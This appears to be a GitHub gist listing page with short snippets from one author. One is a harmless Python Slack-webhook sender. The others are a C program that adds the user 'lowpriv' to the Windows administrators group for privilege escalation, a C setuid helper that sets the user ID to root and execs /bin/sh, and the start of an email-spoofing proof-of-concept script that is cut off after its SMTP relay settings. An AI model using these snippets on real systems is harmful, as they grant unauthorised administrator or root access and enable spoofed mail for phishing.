Skip to content

Instantly share code, notes, and snippets.

Avatar

Trim Kadriu trimkadriu

View GitHub Profile
@trimkadriu
trimkadriu / slack-message.py
Created Nov 27, 2020
Send Slack message with web-hooks on Python
View slack-message.py
import json
import requests
webhook_url = "" #Add the webhook here
slack_data = {"text": "This is a test message", "channel": "<channel-name> or <@person>"}
response = requests.post(
webhook_url, data = json.dumps(slack_data),
headers={'Content-Type': 'application/json'}
)
@trimkadriu
trimkadriu / user-add.c
Created Nov 4, 2018
Add user PrivEsc Windows
View user-add.c
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup administrators lowpriv /add");
return 0;
}
@trimkadriu
trimkadriu / setuid.c
Created Nov 4, 2018
Set UID to root and bash
View setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char *argv[])
{
setreuid(0, 0);
execve("/bin/sh", NULL, NULL);
}
@trimkadriu
trimkadriu / mail-spoof.sh
Last active Nov 1, 2018
Email Spoofing PoC
View mail-spoof.sh
#!/bin/bash
# Mail Server Config
mail_server_ip="mail.smtp2go.com" # Use free plan SMTP service on smtp2go.com
mail_server_port="2525"
mail_server_username="" # SMTP username
mail_server_password="" # SMTP password
mail_server_legit_email="noreply@smtp2go.com" # The `from` value of SMTP Envelope (not what victim see)
# Email params config
You can’t perform that action at this time.